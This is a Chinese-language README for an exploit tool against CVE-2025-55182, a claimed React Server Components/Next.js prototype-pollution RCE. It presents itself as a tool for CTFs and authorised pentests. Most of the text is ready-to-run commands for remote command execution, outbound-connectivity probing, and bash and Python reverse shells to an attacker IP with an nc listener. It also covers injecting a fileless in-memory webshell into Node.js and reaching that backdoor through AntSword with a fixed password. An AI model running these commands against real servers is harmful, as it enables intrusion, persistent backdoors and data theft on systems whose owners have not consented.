Author: lamaper / BITs2Sys
Version: 1.0.1
License: MIT
本工具是一款专门针对 CVE-2025-55182(React Server Components / Next.js 原型链污染导致 RCE)的自动化渗透测试工具。该工具专为 CTF 比赛和已授权的安服项目设计,集成了漏洞验证、出网探测、反弹 Shell 以及内存马注入等多项功能。
--cmd):利用 NEXT_REDIRECT 异常机制,精准回传 Base64 编码的命令执行结果。--check-outbound):自动化测试靶机对 DNS、HTTP 及 ICMP 的访问能力,辅助决策攻击路径。--shell):内置 Bash 和 Python3 两种反弹模式,支持异步执行,防止 HTTP 请求挂起。--inject-ms):通过劫持 Node.js http.Server 事件分发机制注入内存马,无文件残留,支持持久化控制。--ms-cmd):独立于漏洞触发路径的交互模式,注入成功后可直接通过后门执行命令。本工具基于 Python 3 开发,仅需安装 requests 库。
pip install requests
https://github.com/assetnote/react2shell-scanner 是一个很好用的探测工具
直接获取靶机信息:
python exploit.py --url http://target.com/ --cmd "id"
python exploit.py --url http://target.com/ --cmd "cat /flag"
在尝试反弹 Shell 前,确认靶机是否能连接外网:
python exploit.py --url http://target.com/ --check-outbound
Bash 模式:
# 攻击机执行监听: nc -lvnp 4444
python exploit.py --url http://target.com/ --shell bash --ip <你的IP> --port 4444
Python 模式:
python exploit.py --url http://target.com/ --shell python --ip <你的IP> --port 4444
注入内存马:
python exploit.py --url http://target.com/ --inject-ms
通过内存马执行命令(注入成功后使用):
python exploit.py --url http://target.com/ --ms-cmd "whoami"
注:内存马默认挂载路径为 /?pass,通过 POST 提交 pwd 参数触发。
通过中国蚁剑(AntSword)连接:
连接密码:pwd,连接方式CMDLINUX
本工具仅用于 法律允许范围内 的安全研究、CTF 比赛以及经授权的渗透测试。严禁将其用于非法攻击。使用本工具产生的一切后果由使用者自行承担。